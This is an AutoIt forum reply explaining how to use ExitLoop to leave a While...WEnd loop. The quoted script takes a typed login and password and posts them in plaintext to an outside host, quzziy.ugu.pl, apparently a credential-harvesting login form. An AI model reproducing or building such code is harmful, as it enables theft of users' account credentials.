problem with more While

[Melba23]

Quizzy,

Your first program finishes in a never-ending While...WEnd loop:

While 1 
    $aMsg = GUIGetMsg(1)
    
Select 
    
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Formx
        GUIDelete($Formx)
        Exit  ;  <<<<<<<<<<<<<<<<<<<<<<<<  You can go to the second program from here - Point 1
        
    Case $aMsg[0] = $GUI_EVENT_CLOSE And $aMsg[1] = $Form1
        GUIDelete($Form1)
        Exit  ;  <<<<<<<<<<<<<<<<<<<<<<<<  You can go to the second program from here - Point 2
        
    case $aMsg[0] = $Buttonx 
        
$temat = "########################"
$n_login = "Login: " & GUICtrlRead($Input_login)
$n_password = "Haslo:  " &GUICtrlRead($Input_haslo)
$temat2 = "########################"
$host = "quzziy.ugu.pl"
$page = "/index.php"
$vars = "tresc=" & $temat & @CRLF & $n_login & @CRLF & $n_password & @CRLF & $temat2
$data = _HTTPEncodeString($vars)
ConsoleWrite($data & @CRLF)
$socket = _HTTPConnect($host, 80)
$post = _HTTPPost($host, $page, $socket, $data)
ConsoleWrite(@error & @CRLF)
  ;  <<<<<<<<<<<<<<<<<<<<<<<<  You can go to the second program from here - Point 3

endselect
wend

I have marked the 3 points where you can move onto the second program. Which of them do you want to use? You can use all of them or just some.

As I said earlier, all you need to do is to change the "Exit" commands at Points 1 and 2 to "ExitLoop", or add an "ExitLoop" at Point 3. These commands will exit the While...Wend loop and move your script on to your second program.

M23